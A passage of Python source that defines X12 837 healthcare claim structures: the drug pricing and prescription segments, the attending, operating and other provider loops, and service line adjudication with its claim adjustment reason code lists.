data_type=(u'AN',u'1',u'20'), position=1, codes=[] ) ), Element( u'LIN02', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[u'N4'] ) ), Element( u'LIN03', Properties(desc=u'Product/Service ID', req_sit=u'R', data_type=(u'AN',u'1',u'48'), position=3, codes=[] ) ), Element( u'LIN04', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[u'N4'] ) ), Element( u'LIN05', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=5, codes=[] ) ), Element( u'LIN06', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=6, codes=[u'N4'] ) ), Element( u'LIN07', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=7, codes=[] ) ), Element( u'LIN08', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=8, codes=[u'N4'] ) ), Element( u'LIN09', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=9, codes=[] ) ), Element( u'LIN10', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[u'N4'] ) ), Element( u'LIN11', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=11, codes=[] ) ), Element( u'LIN12', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=12, codes=[u'N4'] ) ), Element( u'LIN13', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=13, codes=[] ) ), Element( u'LIN14', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=14, codes=[u'N4'] ) ), Element( u'LIN15', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=15, codes=[] ) ), Element( u'LIN16', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=16, codes=[u'N4'] ) ), Element( u'LIN17', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=17, codes=[] ) ), Element( u'LIN18', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=18, codes=[u'N4'] ) ), Element( u'LIN19', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=19, codes=[] ) ), Element( u'LIN20', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=20, codes=[u'N4'] ) ), Element( u'LIN21', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=21, codes=[] ) ), Element( u'LIN22', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=22, codes=[u'N4'] ) ), Element( u'LIN23', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=23, codes=[] ) ), Element( u'LIN24', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=24, codes=[u'N4'] ) ), Element( u'LIN25', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=25, codes=[] ) ), Element( u'LIN26', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=26, codes=[u'N4'] ) ), Element( u'LIN27', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=27, codes=[] ) ), Element( u'LIN28', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=28, codes=[u'N4'] ) ), Element( u'LIN29', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=29, codes=[] ) ), Element( u'LIN30', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=30, codes=[u'N4'] ) ), Element( u'LIN31', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=31, codes=[] ) ), ), Segment( u'CTP', Properties(syntax=u'P0405 C0607 C0902 C1002 C1103',req_sit=u'S',repeat=u'1',pos=u'495',desc=u'Drug Pricing'), Element( u'CTP01', Properties(desc=u'Class of Trade Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=1, codes=[] ) ), Element( u'CTP02', Properties(desc=u'Price Identifier Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=2, codes=[] ) ), Element( u'CTP03', Properties(desc=u'Unit Price', req_sit=u'R', data_type=(u'R',u'1',u'17'), position=3, codes=[] ) ), Element( u'CTP04', Properties(desc=u'Quantity', req_sit=u'R', data_type=(u'R',u'1',u'15'), position=4, codes=[] ) ), Composite( u'C001', Properties(req_sit=u'R',refdes='',seq=u'05',desc=u'Composite Unit of Measure'), Element( u'CTP05-01', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=0, codes=[u'F2', u'GR', u'ML', u'UN'] ) ), Element( u'CTP05-02', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=1, codes=[] ) ), Element( u'CTP05-03', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=2, codes=[] ) ), Element( u'CTP05-04', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=3, codes=[] ) ), Element( u'CTP05-05', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=4, codes=[] ) ), Element( u'CTP05-06', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=5, codes=[] ) ), Element( u'CTP05-07', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=6, codes=[] ) ), Element( u'CTP05-08', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=7, codes=[] ) ), Element( u'CTP05-09', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=8, codes=[] ) ), Element( u'CTP05-10', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=9, codes=[] ) ), Element( u'CTP05-11', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=10, codes=[] ) ), Element( u'CTP05-12', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=11, codes=[] ) ), Element( u'CTP05-13', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=12, codes=[] ) ), Element( u'CTP05-14', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=13, codes=[] ) ), Element( u'CTP05-15', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=14, codes=[] ) ), ), Element( u'CTP06', Properties(desc=u'Price Multiplier Qualifier', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), Element( u'CTP07', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=7, codes=[] ) ), Element( u'CTP08', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=8, codes=[] ) ), Element( u'CTP09', Properties(desc=u'Basis of Unit Price Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=9, codes=[] ) ), Element( u'CTP10', Properties(desc=u'Condition Value', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=10, codes=[] ) ), Element( u'CTP11', Properties(desc=u'Multiple Price Quantity', req_sit=u'N', data_type=(u'N0',u'1',u'2'), position=11, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'496',desc=u'Prescription Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'XZ'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2420A = Loop( u'2420A', Properties(looptype='',repeat=u'1',pos=u'500',req_sit=u'S',desc=u'Attending Physician Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'500',desc=u'Attending Physician Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'71'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'505',desc=u'Attending Physician Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'AT'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'525',desc=u'Attending Physician Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2420B = Loop( u'2420B', Properties(looptype='',repeat=u'1',pos=u'500',req_sit=u'S',desc=u'Operating Physician Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'500',desc=u'Operating Physician Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'72'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'505',desc=u'Operating Physician Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'OP'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'525',desc=u'Operating Physician Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2420C = Loop( u'2420C', Properties(looptype='',repeat=u'1',pos=u'500',req_sit=u'S',desc=u'Other Provider Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'500',desc=u'Other Provider Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'73'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PRV', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'505',desc=u'Other Provider Specialty Information'), Element( u'PRV01', Properties(desc=u'Provider Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'OT', u'PE'] ) ), Element( u'PRV02', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'ZZ'] ) ), Element( u'PRV03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'PRV04', Properties(desc=u'State or Province Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[] ) ), Composite( u'C035', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Provider Specialty Information'), ), Element( u'PRV06', Properties(desc=u'Provider Organization Code', req_sit=u'N', data_type=(u'ID',u'3',u'3'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'525',desc=u'Other Provider Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'EI', u'G2', u'LU', u'N5', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2430 = Loop( u'2430', Properties(looptype='',repeat=u'25',pos=u'540',req_sit=u'S',desc=u'Service Line Adjudication Information'), Segment( u'SVD', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'540',desc=u'Service Line Adjudication Information'), Element( u'SVD01', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=1, codes=[] ) ), Element( u'SVD02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Composite( u'C003', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Composite Medical Procedure Identifier'), Element( u'SVD03-01', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=0, codes=[u'HC', u'IV', u'ZZ'] ) ), Element( u'SVD03-02', Properties(desc=u'Product/Service ID', req_sit=u'R', data_type=(u'AN',u'1',u'48'), position=1, codes=[] ) ), Element( u'SVD03-03', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=2, codes=[] ) ), Element( u'SVD03-04', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=3, codes=[] ) ), Element( u'SVD03-05', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=4, codes=[] ) ), Element( u'SVD03-06', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=5, codes=[] ) ), Element( u'SVD03-07', Properties(desc=u'Description', req_sit=u'S', data_type=(u'AN',u'1',u'80'), position=6, codes=[] ) ), ), Element( u'SVD04', Properties(desc=u'Product/Service ID', req_sit=u'R', data_type=(u'AN',u'1',u'48'), position=4, codes=[] ) ), Element( u'SVD05', Properties(desc=u'Quantity', req_sit=u'R', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'SVD06', Properties(desc=u'Assigned Number', req_sit=u'S', data_type=(u'N0',u'1',u'6'), position=6, codes=[] ) ), ), Segment( u'CAS', Properties(syntax='',req_sit=u'S',repeat=u'99',pos=u'545',desc=u'Service Line Adjustment'), Element( u'CAS01', Properties(desc=u'Claim Adjustment Group Code', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=1, codes=[u'CO', u'CR', u'OA', u'PI', u'PR'] ) ), Element( u'CAS02', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'R', data_type=(u'ID',u'1',u'5'), position=2, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS03', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=3, codes=[] ) ), Element( u'CAS04', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=4, codes=[] ) ), Element( u'CAS05', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=5, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS06', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=6, codes=[] ) ), Element( u'CAS07', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=7, codes=[] ) ), Element( u'CAS08', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=8, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS09', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=9, codes=[] ) ), Element( u'CAS10', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=10, codes=[] ) ), Element( u'CAS11', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=11, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS12', Properties(desc=u'Monetary Amount', req_sit=u'S', 